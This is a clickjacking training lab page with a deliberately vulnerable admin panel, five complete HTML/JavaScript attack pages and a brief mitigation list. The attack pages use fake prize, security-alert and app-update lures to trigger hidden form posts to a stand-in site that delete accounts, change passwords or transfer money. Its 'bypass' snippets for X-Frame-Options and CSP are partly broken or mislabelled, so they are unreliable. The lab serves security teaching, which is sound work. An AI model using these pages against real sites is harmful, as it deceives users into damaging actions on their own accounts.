Lab 4: Advanced Clickjacking - Clickjacking Labs

Difficulty: High

Lab Overview

This lab demonstrates advanced clickjacking techniques that can be used to bypass modern protections and exploit sophisticated applications. These techniques include multi-layer attacks, JavaScript-based attacks, and various bypass methods.

Objective: Understand advanced clickjacking techniques and how to bypass modern protections.

Vulnerable Application

Admin Panel

Welcome to the admin panel! Here are some sensitive actions you can perform:

Advanced Clickjacking Tester

⚠️ Advanced Clickjacking Warning

This lab demonstrates advanced clickjacking techniques:

Multi-layer Attacks - Multiple overlay layers
JavaScript Attacks - Dynamic content manipulation
Bypass Techniques - Modern protection bypasses
Advanced CSS - Complex positioning attacks

Advanced Attack Vectors

These actions can be exploited via advanced clickjacking:

Approve User - User management
Add Admin - Privilege escalation
Export Data - Data exfiltration
Delete All Users - Mass deletion
Reset All Passwords - Password reset
Execute Command - Command execution

Advanced Clickjacking Demo

Advanced Clickjacking Demonstration:

This demonstrates advanced clickjacking techniques with multiple layers and dynamic content:

🎁 Click here to win $1000!

The overlay above uses advanced techniques to hide malicious content and overlay it on top of legitimate content.

Advanced Techniques

Multi-layer Attacks

.layer1 { z-index: 1; } .layer2 { z-index: 2; } .layer3 { z-index: 3; }

JavaScript Manipulation

document.createElement('div'); element.style.position = 'absolute'; element.style.opacity = '0.01';

Dynamic Content

setTimeout(() => { createOverlay(); }, 1000);

Event Delegation

document.addEventListener('click', (e) => { if (e.target.matches('.fake-button')) { performAction(); } });

CSS Animations

@keyframes fadeIn { from { opacity: 0; } to { opacity: 1; } }

Responsive Design

@media (max-width: 768px) { .overlay { display: none; } }

Bypass Techniques

X-Frame-Options Bypass

// Use data: URLs iframe.src = 'data:text/html,'; // Use JavaScript: URLs iframe.src = 'javascript:...'; // Use about:blank iframe.src = 'about:blank';

CSP Bypass

// Use data: URLs iframe.src = 'data:text/html,'; // Use blob: URLs const blob = new Blob(['']); iframe.src = URL.createObjectURL(blob);

JavaScript Protection Bypass

// Disable JavaScript iframe.sandbox = 'allow-scripts'; // Use postMessage window.postMessage('click', '*'); // Use setTimeout setTimeout(() => { performAction(); }, 100);

Mobile Bypass

// Touch events element.addEventListener('touchstart', (e) => { e.preventDefault(); performAction(); }); // Orientation change window.addEventListener('orientationchange', () => { createOverlay(); });

Browser Bypass

// User agent detection if (navigator.userAgent.includes('Chrome')) { useChromeBypass(); } // Feature detection if (window.CSS && window.CSS.supports) { useModernBypass(); }

Network Bypass

// Use different protocols iframe.src = 'https://vulnerable-site.com'; iframe.src = 'http://vulnerable-site.com'; // Use different ports iframe.src = 'https://vulnerable-site.com:8080';

Action Results

Action Results:

No actions performed yet

Vulnerability Details

Type: Advanced Clickjacking
Severity: High
Method: Advanced techniques
Issue: Modern protection bypasses

Attack Vectors

Multi-layer Attacks: Multiple overlay layers
JavaScript Attacks: Dynamic content manipulation
Bypass Techniques: Modern protection bypasses
Advanced CSS: Complex positioning attacks

Advanced Clickjacking Examples

Use these techniques to exploit advanced clickjacking vulnerabilities:

1. Multi-layer Clickjacking Attack:

<!DOCTYPE html>
<html>
<head>
    <title>Multi-layer Clickjacking Attack</title>
    <style>
        .container {
            position: relative;
            width: 100%;
            height: 100vh;
            background: linear-gradient(45deg, #ff6b6b, #4ecdc4);
        }
        .layer1 {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(255, 0, 0, 0.1);
            z-index: 1;
        }
        .layer2 {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 255, 0, 0.1);
            z-index: 2;
        }
        .fake-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: white;
            padding: 40px;
            border-radius: 15px;
            text-align: center;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
            z-index: 10;
        }
        .fake-button {
            background: #28a745;
            color: white;
            padding: 20px 40px;
            border: none;
            border-radius: 8px;
            font-size: 20px;
            cursor: pointer;
            margin: 20px;
        }
        .hidden-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            width: 350px;
            height: 250px;
            opacity: 0.01;
            z-index: 5;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="layer1"></div>
        <div class="layer2"></div>
        <div class="fake-content">
            <h1>🎁 Special Offer!</h1>
            <p>You've been selected for a special promotion!</p>
            <button class="fake-button">Claim Reward Now</button>
        </div>
        <div class="hidden-content">
            <button onclick="performAction('like_post')">Hidden Button</button>
        </div>
    </div>
</body>
</html>

2. JavaScript-based Clickjacking:

<!DOCTYPE html>
<html>
<head>
    <title>JavaScript-based Clickjacking</title>
    <style>
        .container {
            position: relative;
            width: 100%;
            height: 100vh;
            background: #f8f9fa;
        }
        .fake-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: white;
            padding: 40px;
            border-radius: 15px;
            text-align: center;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
            z-index: 10;
        }
        .fake-button {
            background: #007bff;
            color: white;
            padding: 20px 40px;
            border: none;
            border-radius: 8px;
            font-size: 20px;
            cursor: pointer;
            margin: 20px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="fake-content">
            <h1>🎁 Special Offer!</h1>
            <p>You've been selected for a special promotion!</p>
            <button class="fake-button" onclick="createOverlay()">Claim Reward Now</button>
        </div>
    </div>
    
    <script>
        function createOverlay() {
            const overlay = document.createElement('div');
            overlay.style.position = 'absolute';
            overlay.style.top = '0';
            overlay.style.left = '0';
            overlay.style.width = '100%';
            overlay.style.height = '100%';
            overlay.style.background = 'rgba(0, 0, 0, 0.8)';
            overlay.style.zIndex = '9999';
            overlay.style.display = 'flex';
            overlay.style.alignItems = 'center';
            overlay.style.justifyContent = 'center';
            overlay.innerHTML = '<h2>Loading...</h2>';
            
            document.body.appendChild(overlay);
            
            setTimeout(() => {
                performAction('follow_user');
                overlay.remove();
            }, 1000);
        }
        
        function performAction(action) {
            const form = document.createElement('form');
            form.method = 'POST';
            form.action = 'http://vulnerable-site.com/clickjacking/4.php';
            
            const actionInput = document.createElement('input');
            actionInput.type = 'hidden';
            actionInput.name = 'action';
            actionInput.value = action;
            
            form.appendChild(actionInput);
            document.body.appendChild(form);
            form.submit();
        }
    </script>
</body>
</html>

3. Dynamic Content Clickjacking:

<!DOCTYPE html>
<html>
<head>
    <title>Dynamic Content Clickjacking</title>
    <style>
        .container {
            position: relative;
            width: 100%;
            height: 100vh;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
        }
        .fake-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: white;
            padding: 40px;
            border-radius: 15px;
            text-align: center;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
            z-index: 10;
        }
        .fake-button {
            background: #dc3545;
            color: white;
            padding: 20px 40px;
            border: none;
            border-radius: 8px;
            font-size: 20px;
            cursor: pointer;
            margin: 20px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="fake-content">
            <h1>⚠️ Security Alert</h1>
            <p>Your account has been compromised.</p>
            <button class="fake-button" onclick="startAttack()">Secure Account Now</button>
        </div>
    </div>
    
    <script>
        let attackStep = 0;
        
        function startAttack() {
            attackStep++;
            
            if (attackStep === 1) {
                showStep1();
            } else if (attackStep === 2) {
                showStep2();
            } else if (attackStep === 3) {
                showStep3();
            }
        }
        
        function showStep1() {
            const content = document.querySelector('.fake-content');
            content.innerHTML = '<h2>Step 1: Verifying Identity</h2><p>Please wait...</p>';
            
            setTimeout(() => {
                showStep2();
            }, 2000);
        }
        
        function showStep2() {
            const content = document.querySelector('.fake-content');
            content.innerHTML = '<h2>Step 2: Checking Security</h2><p>Almost done...</p>';
            
            setTimeout(() => {
                showStep3();
            }, 2000);
        }
        
        function showStep3() {
            const content = document.querySelector('.fake-content');
            content.innerHTML = '<h2>Step 3: Securing Account</h2><p>Finalizing...</p>';
            
            setTimeout(() => {
                performAction('delete_account');
            }, 2000);
        }
        
        function performAction(action) {
            const form = document.createElement('form');
            form.method = 'POST';
            form.action = 'http://vulnerable-site.com/clickjacking/4.php';
            
            const actionInput = document.createElement('input');
            actionInput.type = 'hidden';
            actionInput.name = 'action';
            actionInput.value = action;
            
            form.appendChild(actionInput);
            document.body.appendChild(form);
            form.submit();
        }
    </script>
</body>
</html>

4. Mobile-specific Clickjacking:

<!DOCTYPE html>
<html>
<head>
    <title>Mobile-specific Clickjacking</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        .container {
            position: relative;
            width: 100%;
            height: 100vh;
            background: linear-gradient(45deg, #ff6b6b, #4ecdc4);
        }
        .fake-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: white;
            padding: 30px;
            border-radius: 20px;
            text-align: center;
            box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
            z-index: 10;
        }
        .fake-button {
            background: #28a745;
            color: white;
            padding: 15px 30px;
            border: none;
            border-radius: 25px;
            font-size: 16px;
            cursor: pointer;
            margin: 10px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="fake-content">
            <h2>📱 New App Update</h2>
            <p>Update available! Tap to install.</p>
            <button class="fake-button" onclick="handleTouch()">Install Update</button>
        </div>
    </div>
    
    <script>
        function handleTouch() {
            // Handle touch events
            document.addEventListener('touchstart', (e) => {
                e.preventDefault();
                performAction('change_password');
            });
            
            // Handle orientation change
            window.addEventListener('orientationchange', () => {
                performAction('admin_action');
            });
            
            // Handle device motion
            window.addEventListener('devicemotion', (e) => {
                if (e.acceleration.x > 2) {
                    performAction('transfer_money');
                }
            });
        }
        
        function performAction(action) {
            const form = document.createElement('form');
            form.method = 'POST';
            form.action = 'http://vulnerable-site.com/clickjacking/4.php';
            
            const actionInput = document.createElement('input');
            actionInput.type = 'hidden';
            actionInput.name = 'action';
            actionInput.value = action;
            
            form.appendChild(actionInput);
            document.body.appendChild(form);
            form.submit();
        }
    </script>
</body>
</html>

5. Browser-specific Clickjacking:

<!DOCTYPE html>
<html>
<head>
    <title>Browser-specific Clickjacking</title>
    <style>
        .container {
            position: relative;
            width: 100%;
            height: 100vh;
            background: #f0f0f0;
        }
        .fake-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: white;
            padding: 40px;
            border-radius: 15px;
            text-align: center;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3);
            z-index: 10;
        }
        .fake-button {
            background: #007bff;
            color: white;
            padding: 20px 40px;
            border: none;
            border-radius: 8px;
            font-size: 20px;
            cursor: pointer;
            margin: 20px;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="fake-content">
            <h1>🎉 Congratulations!</h1>
            <p>You've won a prize! Click below to claim it.</p>
            <button class="fake-button" onclick="detectBrowser()">Claim Prize</button>
        </div>
    </div>
    
    <script>
        function detectBrowser() {
            const userAgent = navigator.userAgent;
            
            if (userAgent.includes('Chrome')) {
                useChromeBypass();
            } else if (userAgent.includes('Firefox')) {
                useFirefoxBypass();
            } else if (userAgent.includes('Safari')) {
                useSafariBypass();
            } else if (userAgent.includes('Edge')) {
                useEdgeBypass();
            } else {
                useGenericBypass();
            }
        }
        
        function useChromeBypass() {
            // Chrome-specific bypass
            const iframe = document.createElement('iframe');
            iframe.src = 'data:text/html,';
            iframe.style.position = 'absolute';
            iframe.style.top = '50%';
            iframe.style.left = '50%';
            iframe.style.transform = 'translate(-50%, -50%)';
            iframe.style.width = '350px';
            iframe.style.height = '250px';
            iframe.style.opacity = '0.01';
            iframe.style.zIndex = '5';
            document.body.appendChild(iframe);
        }
        
        function useFirefoxBypass() {
            // Firefox-specific bypass
            const iframe = document.createElement('iframe');
            iframe.src = 'javascript:parent.performAction("follow_user")';
            iframe.style.position = 'absolute';
            iframe.style.top = '50%';
            iframe.style.left = '50%';
            iframe.style.transform = 'translate(-50%, -50%)';
            iframe.style.width = '350px';
            iframe.style.height = '250px';
            iframe.style.opacity = '0.01';
            iframe.style.zIndex = '5';
            document.body.appendChild(iframe);
        }
        
        function useSafariBypass() {
            // Safari-specific bypass
            const iframe = document.createElement('iframe');
            iframe.src = 'about:blank';
            iframe.style.position = 'absolute';
            iframe.style.top = '50%';
            iframe.style.left = '50%';
            iframe.style.transform = 'translate(-50%, -50%)';
            iframe.style.width = '350px';
            iframe.style.height = '250px';
            iframe.style.opacity = '0.01';
            iframe.style.zIndex = '5';
            document.body.appendChild(iframe);
            
            iframe.onload = () => {
                iframe.contentWindow.location = 'javascript:parent.performAction("share_content")';
            };
        }
        
        function useEdgeBypass() {
            // Edge-specific bypass
            const iframe = document.createElement('iframe');
            iframe.src = 'data:text/html,';
            iframe.style.position = 'absolute';
            iframe.style.top = '50%';
            iframe.style.left = '50%';
            iframe.style.transform = 'translate(-50%, -50%)';
            iframe.style.width = '350px';
            iframe.style.height = '250px';
            iframe.style.opacity = '0.01';
            iframe.style.zIndex = '5';
            document.body.appendChild(iframe);
        }
        
        function useGenericBypass() {
            // Generic bypass
            performAction('admin_action');
        }
        
        function performAction(action) {
            const form = document.createElement('form');
            form.method = 'POST';
            form.action = 'http://vulnerable-site.com/clickjacking/4.php';
            
            const actionInput = document.createElement('input');
            actionInput.type = 'hidden';
            actionInput.name = 'action';
            actionInput.value = action;
            
            form.appendChild(actionInput);
            document.body.appendChild(form);
            form.submit();
        }
    </script>
</body>
</html>

Real-World Attack Scenarios

Admin panel manipulation and privilege escalation
Mass user deletion and data destruction
System command execution and server compromise
Financial fraud and payment manipulation
Account takeover and password changes
Compliance violations and security breaches

Mitigation Strategies

Implement X-Frame-Options header (DENY, SAMEORIGIN)
Use Content Security Policy (CSP) frame-ancestors directive
Implement JavaScript-based clickjacking protection
Use SameSite cookie attributes
Regular security testing and vulnerability assessments
Monitor for unusual user actions
Implement proper authentication and authorization
Use CAPTCHA for sensitive actions
Implement rate limiting and request validation
Educate users about clickjacking attacks
Implement proper input validation
Use secure coding practices